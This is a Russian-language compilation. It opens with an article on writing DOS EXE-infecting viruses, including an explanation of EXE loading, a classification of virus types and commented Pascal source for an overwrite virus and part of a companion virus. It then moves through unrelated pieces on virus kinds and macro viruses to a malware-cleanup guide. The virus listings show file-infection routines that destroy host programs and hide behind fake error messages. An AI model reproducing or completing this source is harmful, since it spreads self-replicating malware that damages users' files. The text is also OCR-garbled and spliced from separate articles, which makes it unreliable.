В этой статье рассказано о вирусах , заражающих ЕХЕ-файлы . Приведена классификация таких вирусов , подробно рассмотрены алгоритмы их работы, отличия между ними достоинства и недостатки.
Вирусы - это хорошая гимнастика для ума, хотя многие думают, что написать вирус на языке высокого уровня весьма трудно. Это не совсем так. Писать на языке Pascal довольно легко, правда величина полученного кода вызывает благоговейный трепет.
Для каждого типа вирусов представлены исходные тексты с подробными комментариями.Также приведены основные сведения о структуре и принципах работы ЕХЕ-программы .
СОМ-файлы (небольшие программы, написанные в основном на языке Assembler) медленно, но верно устаревают. Им на смену приходят пугающие своими размерами ЕХЕ- «монстры». Появились и вирусы, умеющие заражать ЕХЕ-файлы .
Структура и процесс загрузки ЕХЕ-программы
В отличие от СОМ-программ , ЕХЕ-программы могут состоять из нескольких сегментов (кодов, данных, стека). Они могут занимать больше 64Кбайт.ЕХЕ-файл имеет заголовок, который используется при его загрузке.Заголовок состоит из форматированной части, содержащей сигнатуру и данные, необходимые для загрузки ЕХЕ-файла , и таблицы для настройки адресов (Relocation Table ). Таблица состоит из значений в формате сегмент:смещение. К смещениям в загрузочном модуле, на которые указывают значения в таблице, после загрузки программы в память должен быть прибавлен сегментный адрес, с которого загружена программа.
При запуске ЕХЕ-программы системным загрузчиком (вызовом функции DOS 4Bh) выполняются следующие действия:
1. Определяется сегментный адрес свободного участка памяти,размер
которого достаточен для размещения программы.
2.Создается и заполняется блок памяти для переменных среды.
3.Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP;
сегмент+ООЮЬЮОООЬ - программа).
В поля PSP заносятся соответствующие значения.
4.Адрес DTA устанавливается равным PSP:0080h.
5.В рабочую область загрузчика считывается форматированная часть
заголовка ЕХЕ-файла .
6.Вычисляется длина загрузочного модуля по формуле:
Si7.e=((PageCnt*5i2)-(HdrSae*i6))-Pa!tP3ig.
7.Определяется смещение загрузочного модуля в файле, равное
8.Вычисляется сегментный адрес (START_SEG) для загрузки -обычно это PSP+lOh.
9.Считывается в память загрузочный модуль (начиная с адреса
START_SEG:0000).
10.Для каждого входа таблицы настройки:
a)читаются слова I_OFF и I_SEG;
b)вычисляется RELC^SEG-START^SEG+LSEG;
c)читается слово по адресу RELO_SEG:I_OFF;
d)к прочитанному слову прибавляется START_SEG;
e)результат запоминается по тому же адресу (RELO_SEG:I_OFF).
11.Распределяется память для программы в соответствии с МахМет
12.Инициализируются регистры, выполняется программа:
b) АХ=результат проверки правильности идентификаторов драйверов, указанных в командной строке;
c)SS°START_SEG+ReloSS, SP-ExeSP;
d)CS=START_SEG+ReloCS, IP=ExeIP.
Классификация ЕХЕ-вирусов
ЕХЕ-вирусы условно можно разделить на группы, используя в качестве признака для деления особенности алгоритма. Вирусы Overwrite ) Такие вирусы уже стали раритетом. Главный их недостаток - слишком грубая работа. Инфицированные программы не исполняются, так как вирус записывается поверх программного кода, не сохраняя его. При запуске вирус ищет очередную жертву (или жертвы), открывает найденный файл для редактирования и записывает свое тело в начало программы, не сохраняя оригинальный код. Инфицированные этими вирусами программы лечению не подлежат.
Вирусы-спутники (Companion)
Эти вирусы получили свое название из-за алгоритма размножения:
к каждому инфицированному файлу создается файл-спутник. Рассмотрим более подробно два типа вирусов этой группы:
Вирусы первого типа размножается следующим образом. Для каждого инфицируемого ЕХЕ-файла в том же каталоге создается файл с вирусным кодом, имеющий такое же имя, что и ЕХЕ-файл , но с расширением СОМ . Вирус активируется, если при запуске программы в командной строке указано только имя исполняемого файла. Дело в том, что, если не указано расширение файла, DOS сначала ищет в текущем каталоге файл с заданным именем и расширением СОМ . Если СОМ-файл с таким именем не найден, ведется поиск одноименного ЕХЕ-файла . Если не найден и ЕХЕ-файл , DOS попробует обнаружить ВАТ (пакетный) файл. В случае отсутствия в текущем каталоге исполняемого файла с указанным именем поиск ведется во всех каталогах, доступных по переменной PATH . Другими словами, когда пользователь хочет запустить программу и набирает в командной строке только ее имя (в основном так все и делают), первым управление получает вирус ,код которого находится в СОМ-файле . Он создает СОМ-файл еще к одному или нескольким ЕХЕ-файлам (распространяется), а затем исполняет ЕХЕ-файл с указанным в командной строке именем. Пользователь же думает, что работает только запущенная ЕХЕ-программа.
Вирус-спутник обезвредить довольно просто - достаточно удалить
СОМ-файл.
Вирусы второго типа действуют более тонко. Имя инфицируемого
ЕХЕ-файла остается прежним, а расширение заменяется каким-либо
другим, отличным от исполняемого (СОМ, ЕХЕ и ВАТ ), Например,
файл может получить расширение DAT (файл данных) или OVL (про-
граммный оверлей). Затем на место ЕХЕ-файла копируется вирусный код. При запуске такой инфицированной программы управление получает вирусный код, находящийся в ЕХЕ-файле . Инфицировав еще один или несколько ЕХЕ-файлов таким же образом, вирус возвращает оригинальному файлу исполняемое расширение (но не EХЕ, а СОМ , поскольку ЕХЕ-файл с таким именем занят вирусом), после чего исполняет его. Когда работа инфицированной программы закончена, ее запускаемому файлу возвращается расширение неисполняемого. Лечение файлов , зараженных вирусом этого типа, может быть затруднено,если вирус -спутник шифрует часть или все тело инфицируемого файла,а перед исполнением его расшифровывает.
Вирусы , внедряющиеся в программу (Parasitic) Вирусы этого вида самые незаметные: их код записывается в инфицируемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения ЕХЕ-вирусов в ЕХЕ-файл .
Способы заражения ЕХЕ-файлов
Самый распространенный способ заражения ЕХЕ-файлов такой: в конец файла дописывается тело вируса , а заголовок корректируется (с сохранением оригинального) так, чтобы при запуске инфицированного файла управление получал вирус . Похоже на заражение СОМ-файлов , но вместо задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при старте вируса) и передает управление на полученный адрес.
Следующий способ - внедрение вируса в начало файла со сдвигом кода
программы. Механизм заражения такой: тело инфицируемой программы считывается в память, на ее место записывается вирусный код , а после него - код инфицируемой программ ы. Таким образом, код программы как бы «сдвигается» в файле на длину кода вируса. Отсюда и название способа - «способ сдвига». При запуске инфицированного файла вирус заражает еще один или несколько файлов. После этого он считывает в память код программы, записывает его в специально созданный на диске временный файл с расширением исполняемого файла (СОМ или ЕХЕ ), и затем исполняет этот файл. Когда программа закончила работу, временный файл удаляется. Если при создании вируса не применялось дополнительных приемов защиты, то вылечить инфицированный файл очень просто - достаточно удалить код вируса в начале файла, и программа снова будет работоспособной. Недостаток этого метода в том, что приходится считывать в память весь код инфицируемой программы (а ведь бывают экземпляры размером больше 1Мбайт).
Следующий способ заражения файлов - метод переноса - по всей видимости, является самым совершенным из всех перечисленных. Вирус размножается следующим образом: при запуске инфицированной программы тело вируса из нее считывается в память. Затем ведется поиск неинфицированной программы. В память считывается ее начало,по длине равное телу вируса . На это место записывается тело вируса .Начало программы из памяти дописывается в конец файла. Отсюда название метода - «метод переноса». После того, как вирус инфицировал один или несколько файлов, он приступает к исполнению программы,из которой запустился. Для этого он считывает начало инфицированной программы, сохраненное в конце файла, и записывает его в начало файла, восстанавливая работоспособность программы. Затем вирус удаляет код начала программы из конца файла, восстанавливая оригинальную длину файла, и исполняет программу. После завершения программы вирус вновь записывает свой код в начало файла, а оригинальное начало программы - в конец. Этим методом могут быть инфицированы даже антивирусы , которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, как и до инфицирования.
Вирусы , замещающие программный код (Overwrite ) Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появляются еще такие вирусы , созданные на языке Assembler , но это, скорее, соревнование в написании самого маленького overwrite-вируса . На данный момент самый маленький из известных overwrite-вирусов написан Reminder’ом (Death Virii Crew group) и занимает 22 байта.
Алгоритм работы overwrite-вируса следующий:
1. Открыть файл, из которого вирус получил управление.
3. Закрыть файл.
4. Искать по маске подходящий для заражения файл.
5. Если файлов больше не найдено, перейти к пункту 11.
6. Открыть найденный файл.
7. Проверить, не заражен ли найденный файл этим вирусом.
8. Если файл заражен, перейти к пункту 10.
9. Записать в начало файла код вируса.
10. Закрыть файл (по желанию можно заразить от одного до всех фай-
лов в каталоге или на диске).
11. Выдать на экран какое-либо сообщение об ошибке, например «Abnormal program termination» или «Not enough memory», - пусть пользователь не слишком удивляется тому, что программа не запустилась.
12. Завершить программу.
Ниже приведен листинг программы, заражающей файлы таким способом.
{$М 2048, 0, 0}
{Используются модули DOS и System (модуль System автоматически подключается к каждой программе при компиляции)}
(Имя вируса}
VirName=’Pain’;
{Строка для проверки на повторное заражение.
Она дописывается в заражаемый файл сразу после кода вируса }
VirLabel: String=’Pain!1;
{Длина получаемого при компиляции ЕХЕ-файла }
Author=’Dirty Nazi/SGWW.’;
{Количество заражаемых за один сеанс работы файлов}
{Массив для определения наличия копии вируса в найденном файле}
Virldentifier: Array of Char;
{Файловая переменная для работы с файлами}
(Еще одна файловая переменная - хотя без нее можно было обойтись, так будет понятнее)
{Для имени найденного файла)
TargetFile: PathStr;
(Буфер для тела вируса )
VirBuf: Array [-I.VirLen] of Char;
(Для даты/времени файла)
(Счетчик количества инфицированных файлов)
Dirlnfo: SearchRec;
LabelBuf: Array of Char;
(Инициализация)
LabelBuf :=VirLabel;
LabelBuf:=VirLabel;
LabelBuf:=VirLabel,
LabelBuf:=VirLabel;
LabelBuf:=VirLabel;
(Обнуляем счетчик количества инфицированных файлов }
(Связываем файловую переменную VirBody с именем программы из которой стартовали)
Assign(VirBody, ParamStr(O));
(Открываем файл с recsize=1 байту)
Reset(VirBody, 1);
(Считываем из файла тело вируса в массив VirBuf}
BlockRead(VirBody VirBuf, VirLen);
(Закрываем файл)
(Поиск жертвы}
procedure FindTarget;
(Функция возвращает True, если найденная программа уже заражена, и False, если еще нет}
function VirusPresent: Boolean;
VirusPresent:=False;
(Открываем найденный файл}
Assign(Target, TargetFile);
Reset(Target, 1);
(Перемещаемся на длину тела вируса от начала файла}
Seek(Target, VirLen);
(Считываем 5 байт - если файл уже заражен,там находится метка вируса }
BlockRead(Target, Virldentifier, 5);
If Virldentifier=Virl_abel Then
{Если метка есть, значит есть и вирус }
VirusPresent:=True;
(Процедура заражения}
procedure InfectFile;
{Если размер найденного файла меньше, чем длина вируса плюс 100 байт, то выходим из процедуры}
If Sr.Size < VirLen+100 Then Exit;
Если найденная программа еще не заражена, инфицируем ее}
If Not VirusPresent Then
{Запомним дату и время файла. Атрибуты запоминать не надо, так как поиск ведется среди файлов с атрибутом Archive, а этот атрибут станавливается на файл после сохранения в любом случае}
{Открываем для заражения}
Assign(Target, TargetFile);
Reset(Target, 1);
{Записывам тело вируса в начало файла}
BlockWrite(Target, VirBuf, VirLen);
{Перемещаем указатель текущей позиции а длину вируса от начала файла}
Seek(Target, VirLen);
{Вписываем метку заражения}
BlockWrite(Target, LabelBuf, 5);
{Устанавливаем дату и время файла}
SetFTime(Target, Time);
{Закрываем}
{Увеличиваем счетчик инфицированных файлов }
{Начало процедуры FindTarget}
{Ищем в текущем каталоге файлы по маске *.ЕХЕ
с атрибутами Archive }
FindFirstF.EXE’, Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
If Sr.Name=» Then Exit;
(Запоминаем имя найденного файла в переменную TargetFile}
TargetFile:=Sr.Name;
{Вызываем процедуру заражения}
{Если заразили InfCount файлов, завершаем поиск}
If InfFiles > InfCount Then Exit;
{Ищем следующий файл по маске}
{Основное тело}
(Инициализируемся}
{Ищем жертвы и заражаем их}
{Выдаем на экран сообщение об ошибке}
WriteLn(‘Abnormal program termination.’);
{Это чтобы компилятор вставил в код константы VirName и Author, условие же поставлено таким образом,что эти строки никогда не будут выведены на экран}
WriteLn(VirName);
WriteLn(Author);
Вирусы-спутники (Companion)
Вирусы-спутники сейчас широко распространены - соотношение companion и parasitic вирусов примерно один к двум.Инфицирование методом создания СОМ-файла спутника Смысл этого метода - не трогая «чужого кота» (ЕХЕ-программу ), создать «своего» - СОМ-файл с именем ЕХЕ-программы . Алгоритм работы такого вируса предельно прост, так как отпадает необходимость лишних действий (например, сохранения в теле вируса длины откомпилированного ЕХЕ-файла с вирусным кодом , считывания в буфер тела вируса , запуска файла, из которого вирус получил управление). Незачем даже хранить метку для определения инфицирования файла.
Заражение производится с помощью командного процессора:
1.Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.
2.Найти ЕХЕ-файл -жертву.
3.Проверить, не присутствует ли в каталоге с найденным ЕХЕ-файлом СОМ-файл с таким же именем, как у файла-жертвы.
4.Если такой СОМ-файл присутствует, файл уже заражен, переходим
к пункту 6.
5.С помощью командного процессора скопировать файл, из которого
получено управление, в файл с именем жертвы и расширением СОМ .
6.Процедурой Ехес загрузить и выполнить файл с именем стартового, но с расширением ЕХЕ - то есть выполнить инфицированную программу.
7. Вернуть управление в DOS.
Приведенный ниже листинг показывает заражение файлов этим
($М 2048, 0, 0}
(Используются модули DOS и System (модуль System автоматически
подключается к каждой программе при компиляции)}
{Имя вируса)
VirName=’Guesf;
Author=’Dirty Nazi/SGWW. 4 PVT only!’;
{Количество зараженных за один сеанс работы файлов}
{Для имени найденного файла)
TargetFile: PathStr;
Компьютерный вирус может испортить, т.е. изменить ненадлежащим образом, любой файл на имеющихся в компьютере дисках. Но некоторые виды файлов вирус может "заразить". Это означает, что вирус может "внедриться" в эти файлы, т.е. изменить их так, что они будут содержать вирус, который при некоторых обстоятельствах может начать свою работу. Следует заметить, что тексты программ и старых версий документов (так сказать DOS-версии), информационные файлы баз данных, таблицы табличных процессоров (DOS-версии) и другие аналогичные файлы не могут быть заражены вирусом, он может их только испортить.
Вирусом могут быть "заражены" следующие виды файлов:
1) Исполнимые файлы
Исполнимые файлы, т.е. файлы с расширениями имени COM и EXE, а также оверлейные файлы, загружаемые при выполнении других программ. Вирусы, заражающие файлы, называются файловыми. Вирус в зараженных исполнимых файлах начинает свою работу при запуске той программы, в которой он находится. Наиболее опасны те файловые вирусы, которые после своего запуска остаются в памяти резидентно. Эти вирусы могут заражать файлы и вредить до следующей перезагрузки компьютера. А если они заразят любую программу, запускаемую из файла AUTOEXEC.BAT или CONFIG.SYS, то и при перезагрузке с жесткого диска вирус снова начнет свою работу.
2) Загрузчик операционной системы и главная загрузочная запись жесткого диска
Вирусы, поражающие эти области, называются загрузочными, или бутовыми. Такой вирус начинает свою работу при начальной загрузке операционной системы и становится резидентным, т.е. постоянно находится в памяти компьютера. Механизм распространения - заражение загрузочных записей вставляемых в компьютер дискет. Как правило, такие вирусы состоят из двух частей, поскольку загрузочные записи имеют небольшой размер и в них трудно разместить целиком программу вируса. Часть вируса, не помещающаяся в них, располагается в другом участке диска, например в конце корневого каталога диска или в кластере в области данных диска (обычно такой кластер объявляется дефектным, чтобы программа вируса не была затерта при записи данных на диск).
3) Драйверы устройств:
Драйверы устройств, т.е. файлы, указываемые в предложении DEVICE файла CONFIG.SYS. Вирус, находящийся в них, начинает свою работу при каждом обращении к соответствующему устройству. Вирусы, заражающие драйверы устройств, очень мало распространены, поскольку драйверы редко переписывают с одного компьютера на другой. То же самое относится и к системным файлам DOS (MSDOS.SYS и IO.SYS) - их заражение также теоретически возможно, но для распространения вирусов малоэффективно.
4) INTERNET-вирусы
В последнее время с увеличение числа пользователей появились. Вот некоторые из разновидностей этих вирусов:
4.1 Вложенные файлы . Рассмотрим типичную ситуацию: вы получили электронное письмо, во вложении к которому находится документ Microsoft WORD. Конечно, вы захотите поскорее познакомиться с содержанием файла, благо при использовании большинства современных почтовых программ для этого достаточно щелкнуть мышкой на имени этого файла.
И ЭТО - ОШИБКА!
Если в файле содержится макрокомадный вирус (а вирусы этого типа, заражающие документы Microsoft WORD, Microsoft EXCEL и ряд других популярных систем документооборота, получили в последнее время огромное распространение), он немедленно заразит вашу систему. Так что же делать с вложенным документом? Потратить несколько лишних секунд: сохранить его на диск, проверить антивирусной программой последней версии и только потом, если вирусов нет, открывать. Есть другие решения. Например, имеются антивирусные программы, осуществляющие автоматическую проверку приходящей электронной почты. Если вы используете программу - сторож, то при открытии зараженного файла обязательно получите предупреждение (точнее, вам просто не дадут открыть зараженный файл). Ведь сторожу совершенно безразлично, напрямую вы открываете документ или "из-под" почтовой программы.
4.2 Троянские программы . Известные троянские программы, распространяющиеся через Интернет, по существу, представляют собой утилиты для удаленного администрирования компьютера. Проще говоря, посредством такой программы злоумышленник может получить доступ к вашему компьютеру и выполнить на нем различные операции (практически любые) без вашего ведома и участия.
Характерным представителем описанного типа является программа BASK ORIFICE (BO). BO является системой удаленного администрирования, позволяющей пользователю контролировать компьютеры при помощи обычной консоли или графической оболочки. "В локальной сети или через Интернет ВО предоставляет пользователю больше возможности на удаленном WINDOWS-компьютере, чем имеет сам пользователь этого компьютера", - это текст из "рекламного" объявления на одной их хакерских web-страниц. Разумеется, возможность удаленного администрирования вашего компьютера представляет серьезную опасность, но не такую большую, как кажется на первый взгляд. Обычные пользователи проводят в Сети не так много времени (качество телефонных линий этому способствует), да и что такого "интересного" с точки зрения хакера, можно сделать на вашем компьютере? Оказывается, можно, только администрировать ничего не надо. Существенный интерес для хакера представляют пароли, которые вы используете для работы с сервером провайдера. Заполучив пароль, хакер может запросто "просадить" все ваши денежки. К счастью, троянцев, умеющих выполнять указанные функции, довольно мало и все они успешно детектируются антивирусными программами.
4.3 HTML-вирусы. Вирусы данного типа встречаются редко, так что информация о них представляет скорее "академический" интерес, нежели практический. Суть такова: на самом языке HTML, который используется для разметки гипертекстовых документов, никакие вирусы, конечно, написать нельзя. Но для создания динамических страниц, организации взаимодействия с пользователем и прочих действий используются программные вставки (скрипты) в HTML-документы. Известные HTML-вирусы используют скрипты, написанные на языке VISUAL BASIC. С их помощью, находя HTM и HTML-файлы на локальной машине, и записываются в них. Иногда такие вирусы как-нибудь проявляют себя (например, выводят сообщения). Малому распространению вирусов данного типа (равно как и малому их числу) способствует то, что при стандартных настройках браузера выполнение "опасных" (к таковым относятся и те, в которых происходит обращение к файлам локального компьютера) скриптов запрещено. Обычные же, "безопасности", скрипты не могут производить описанные манипуляции.
4.4 Java-вирусы . В настоящее время известны два вируса, написанные на языке JAVA. Опасности они практически не представляют. Кратко поясним, в чем суть: исполняемые модули программ, написанных на JAVA (CLASS-файлы), бывают двух типов: приложения и апплеты. Приложения выполняются под управлением интерпретатора и являются почти обычными программами (почти, ибо имеют все же некоторые ограничения, например, в области работы с памятью). Апплеты, в отличие от приложений, могут выполняться под управлением браузеров, но на них накладываются значительно более серьезные ограничения для обеспечения безопасности: апплеты в частности, не имеют почти никакого доступа к файловой системе компьютера (в отличие от случая со скритами, отключить данное ограничение в браузере невозможно), таким образом, JAVA-вирусы могут быть оформлены только как приложения и для подавляющего большинства пользователей опасности не предоставляют. Как правило, каждая конкретная разновидность вируса может заражать только один или два типа файлов. Чаще всего встречаются вирусы, заражающие исполнимые файлы. Некоторые вирусы заражают только EXE файлы, некоторые - только COM, а большинство - и те и другие. На втором месте по распространенности загрузочные вирусы. Некоторые вирусы заражают и файлы, и загрузочные области дисков. Вирусы, заражающие драйверы устройств, встречаются крайне редко; обычно такие вирусы умеют заражать и исполнимые файлы.
Макровирусы – это потенциально нежелательные утилиты, написанные на микроязыках, которые встроены в графические и текстовые системы обработки. Какие файлы заражают макро вирусы? Ответ очевиден. Наиболее распространенные версии для программ Microsoft Excel, Word и Office 97. Данные вирусы встречаются достаточно часто, как создать их проще простого. Именно поэтому при скачивании документов из Интернета стоит быть крайне внимательными и аккуратными. Большинство пользователей недооценивают их, совершая тем самым грубейшую ошибку.
Как происходит заражение ПК
После того как мы определились, что такое макровирусы, давайте разберемся каким образом они проникают в систему и заражают компьютер. Простой способ их размножения позволяет в кратчайшие сроки поражать максимальное количество объектов. Благодаря возможностям макроязыков, они при закрытии или открытии зараженного документа проникают в программы, к которым идет обращение.
То есть, при использовании графического редактора макровирусы заражают все, что связано с ним. Более того, некоторые активничают все время, пока текстовый или графический редактор работают, или вовсе до полного выключения ПК.
В чем заключается принцип их работы
Их действие происходит по следующему принципу: работая с документами, Microsoft Word выполняет разнообразные команды, отдающиеся на языке макрос. Первым делом программа проникает в главный шаблон, через который открываются все файлы этого формата. При этом вирус копирует свой код в макросы, которые обеспечивают доступ к главным параметрам. Выходя из программы, файл в автоматическом режиме сохраняется в dot (применяется для создания новых документов). После чего он попадает в стандартные макросы, стремясь перехватить отправляемые другим файлам команды, заражая и их.
Заражение осуществляется в следующих случаях:
- При наличии авто макроса в вирусе (проводится в автоматическом режиме при выключении или запуске программы).
- Вирус обладает основным системным макросом (зачастую связан с пунктами меню).
- Активизируется автоматически в случае нажатия на конкретные клавиши или комбинации.
- Размножается лишь при его запуске.
Такие вирусы поражают обычно все файлы, созданные и привязанные к программам на макроязыке.
Какой вред они приносят
Не стоит недооценивать макровирусы, так как они относятся к полноценным вирусам и несут компьютерам значительный вред. Они могут легко удалить, скопировать или редактировать любые объекты, содержащие, в том числе, и личную информацию. Более того, им также доступна передача информации другим людям с помощью электронной почты.
Более сильные утилиты вообще могут форматировать винчестеры и контролировать работу всего ПК. Именно поэтому мнение, что подобного рода компьютерные вирусы несут в себе опасность исключительно для графических и текстовых редакторов, ошибочное. Ведь такие утилиты как Word и Excel работают во взаимодействии с целым рядом других, которые в этом случае также подвергаются опасности.
Распознаем зараженный файл
Зачастую файлы, зараженные макровирусами и поддавшиеся их влиянию, определить совсем не сложно. Ведь они функционируют совсем не так, как другие утилиты такого же формата.
Опасность можно определить по следующим признакам:
Кроме того, угроза зачастую легко обнаруживается визуально. Их разработчики обычно указывают во вкладке «Сводка» такую информацию, как название утилиты, категория, тема комментарии и имя автора, благодаря чему от макровируса можно избавиться значительно быстрее и проще. Вызвать ее можно при помощи контекстного меню.
Способы удаления
Обнаружив подозрительный файл или документ, первым делом просканируйте его антивирусом. При обнаружении угрозы антивирусы попробуют вылечить его, а в случае неудачи полностью закроют доступ к нему.
В случае если был заражен весь компьютер, следует воспользоваться аварийным загрузочным диском, который содержит антивирус с последней базой данных. Он проведет сканирование винчестера и обезвредит все найденные им угрозы.
Если защититься таким образом не получается, ваш антивирус ничего не может сделать, а аварийного диска нет, то следует попробовать метод «ручного» лечения:
Таким образом, вы удалите макровирус с зараженного документа, однако это ни в коем случае не значит, что он не остался в системе. Именно поэтому рекомендуется при первой возможности просканировать весь персональный компьютер и все его данные антивирусом или (их преимущество в том, что они не требуют установки).
Процесс лечения и очистки компьютера от заражения макровирусами достаточно сложный, поэтому лучше предотвратить заражение еще на начальных этапах.
Таким образом, вы обезопасите себя, и макровирусы никогда не проникнут в соответствующие файлы.
Видео по очистке системы от вирусов
Пользуясь советами "Как очистить зараженный компьютер", данными в этой статье, вы сможете удалить любой тип вредоносного ПО с вашего компьютера и вернуть его в рабочее состояние
1. Убедитесь, что компьютер действительно заражён
Прежде чем пытаться убрать какое-либо заражение с Вашего компьютера, нужно удостовериться, что компьютер в самом деле заражен. Чтобы сделать это, пожалуйста, обратитесь к рекомендациям, которые я даю в статье " ". Если в результате этого действительно будет видно, что ваш компьютер заражен, тогда продолжайте выполнять шаги следующего раздела. Следите за тем, чтобы вы выполняли их в должной последовательности.
2. Как очистить ваш компьютер и убедиться, что он действительно чист
Пожалуйста отметьте, что опытные пользователи здесь просто могут перейти к последней части о том, и очистить компьютер соответствующим образом. Это наиболее действенный подход, но он также один из самых трудоемких. Впрочем, при необходимости вы можете перейти сразу к тому разделу и затем снова вернуться обратно к началу, если заражение не было удалено полностью.
2.1 Очищение компьютера с помощью CCE и TDSSKiller
Загрузите Comodo Cleaning Essentials (CCE) вот с этой страницы . Убедитесь, что выбрали подходящую версию для своей операционной системы. Если вы не уверены, под управлением какой операционной системы работает ваш компьютер - 32-битной или 64-битной, - см. . Также, загрузите Kaspersky TDSSKiller вот с этой страницы . Если ни одну из этих программ вам не удастся скачать, или если не будет работать ваше интернет-соединение, вам нужно будет сделать это с помощью другого компьютера и перенести на зараженный, используя флеш-накопитель. Удостоверьтесь, что на флешке не было никаких других файлов. Будьте осторожны с флеш-устройством, поскольку вредоносное ПО может заразить его, когда вы его вставляете в компьютер. Следовательно, не подключайте его ни к каким другим компьютерам после переноса этих программ. Кроме того, я хотел бы заметить, что обе программы портативны. Это означает, что как только вы закончите их использовать, вам не придется их деинсталлировать. Просто удалите их папки, и они будут удалены.
После того, как вы скачали CCE, распакуйте файл, откройте папку и дважды щелкните файл с именем "CCE". Откроется основное окно программы Comodo Cleaning Essentials. Если открытие не произошло, нажмите клавишу Shift и, удерживая ее, дважды щелкните файл с именем "CCE". После того, как CCE успешно откроется, вы можете отпустить клавишу Shift. Однако, не отпускайте ее, пока программа полностью не загрузится в память. Если вы отпустите ее хотя бы во время запроса UAC, она не сможет корректно открыться даже форсированным методом. Удержание Shift поможет ей открыться даже на сильно зараженных компьютерах. Она делает это, подавляя многие ненужные процессы, которые могли помешать ее запуску. Если это все же не поможет ее запустить, тогда загрузите и запустите программу под названием RKill. Ее можно скачать вот с этой страницы . Эта программа остановит известные вредоносные процессы. Таким образом, после ее запуска CCE должна превосходно запуститься.
Как только она будет запущена, в CCE проведите "Разумное" сканирование (Smart Scan) и поместите в карантин все, что она обнаружит. Эта программа также просматривает системные изменения, которые могли быть произведены вредоносным ПО. Они будут показаны в результатах. Я бы посоветовал разрешить программе исправить и это тоже. Перезапустите компьютер, когда будет выведен запрос. После перезапуска компьютера запустите Kaspersky TDSSKiller, выполните сканирование и изолируйте в карантине то, что будет найдено.
Кроме того, если Ваше интернет-соединение ранее не работало, проверьте, работает ли оно теперь. Действующее соединение с интернетом потребуется для дальнейших шагов этого раздела.
Как только сканирование CCE завершится и вы убедитесь, что Ваше интернет-соединение работает, снова откройте CCE. Стоит надеяться, что на этот раз она откроется, но если нет, тогда откройте ее, удерживая клавишу Shift. Затем из меню "Инструменты" ("Tools") в CCE откройте KillSwitch. В KillSwitch в меню "Вид" ("View") выберите опцию "Скрыть безопасные процессы" ("Hide Safe Processes"). Затем щелкните правой кнопкой на всех процессах, которые отмечены как подозрительные или опасные, и выберите опцию их удаления. Вы должны также щелкнуть правой кнопкой на любых неизвестных процессах, которые остались, и выбрать опцию "Завершить процесс" ("Kill Process"). Не удаляйте процессы, отмеченные как FLS.Unknown. Далее, в CCE из меню инструментов запустите Autorun Analyzer и выберите опцию "Скрыть безопасные элементы" ("Hide Safe Entries") в меню "Вид" ("View"). Затем отключите любые элементы, принадлежащие файлам, которые отмечены как подозрительные или опасные. Вы можете сделать это, сняв флажки рядом с элементами. Вы должны также отключить все элементы, отмеченные как FLS.Unknown, но которые по-вашему, скорее всего, принадлежат вредоносным программам. Не удаляйте никаких элементов.
Теперь перезапустите компьютер. После перезагрузки снова проверьте свой компьютер, используя совет, который я даю в статье " ". Если все хорошо, тогда вы можете перейти к разделу " ". Помните, что отключенные записи реестра не опасны. Кроме того, отметьте, что даже если Ваш компьютер оказался чистым от активных заражений, на нем все еще могут быть части вредоносного ПО. Они не опасны, но не удивляйтесь, если сканирование в другой программе все же обнаружит вредоносное ПО на Вашем компьютере. Это бездействующие остатки того, что вы только что удалили. Если вас не устраивает наличие этих остатков на вашем компьютере, то вы можете удалить подавляющее их большинство путем сканирования в программах, упомянутых в следующем разделе.
Однако, если Ваш компьютер еще не очищен от активных инфекций, но по крайней мере одна из программ смогла запуститься, пройдите еще раз этапы, описанные в этом разделе, и посмотрите, позволит ли это удалить заражения. Но, если ни одна из программ так и не смогла запуститься, пожалуйста, переходите к следующему разделу. Кроме того, даже если повторное выполнение инструкций в этом разделе недостаточно, чтобы очистить Ваш компьютер, вам нужно перейти к следующему разделу.
2.2 Если компьютер все еще не очищен, просканируйте, используя HitmanPro, Malwarebytes и Emsisoft Anti-Malware
Если вышеупомянутые шаги не помогли полностью устранить заражение, то вам нужно загрузить HitmanPro вот с этой страницы . Установите программу и запустите "Default Scan" ("Сканирование по умолчанию"). Если она не установится, перейдите к следующему абзацу и установите Malwarebytes. Когда во время установки HitmanPro будет выведен соответствующий запрос, я рекомендую вам выбрать опцию выполнения только одноразовой проверки компьютера. Это должно подойти большинству пользователей. Также, если вредоносное ПО препятствует ее корректному запуску, тогда откройте программу, удерживая клавишу CTRL, пока она не загрузится в память. Перемещайте в карантин любое заражение, которое она найдет. Имейте в виду, что эта программа будет в состоянии удалять инфекции лишь в течение 30 дней после установки. Во время удаления Вас попросят активировать испытательную лицензию.
Как только HitmanPro удалил все обнаруженное заражение, или если Hitman Pro не смог инсталлироваться, вам нужно загрузить бесплатную версию Malwarebytes вот с этой страницы . Обратите внимание, что у нее есть технология хамелеона, которая должна помочь ей инсталлироваться даже на сильно зараженных компьютерах. Я вам советую, чтобы во время инсталляции вы сняли флажок "Включить бесплатный тестовый период Malwarebytes Anti-Malware Pro" ("Enable free trial of Malwarebytes Anti-Malware Pro"). Удостоверьтесь, что программа полностью обновлена и затем запустите быстрое сканирование. Изолируйте в карантине всю заразу, которую она находит. Если какая-либо программа попросит перезагрузить Ваш компьютер, обязательно перезагрузите его.
Затем загрузите Emsisoft Emergency Kit вот с этой страницы . Как только закончится ее загрузка, извлеките содержимое zip-файла. Затем дважды щелкните файл с именем "start" и откройте "Emergency Kit Scanner". Когда будет запрос, позвольте программе обновить базу данных. Как только она обновится, вернитесь в меню "Безопасность". Затем перейдите к "Проверка" и выберите "Быстрая", затем нажмите "Проверить". Как только завершится сканирование, поместите в карантин все обнаруженные элементы. Перезапускайте компьютер каждый раз, когда это требуется.
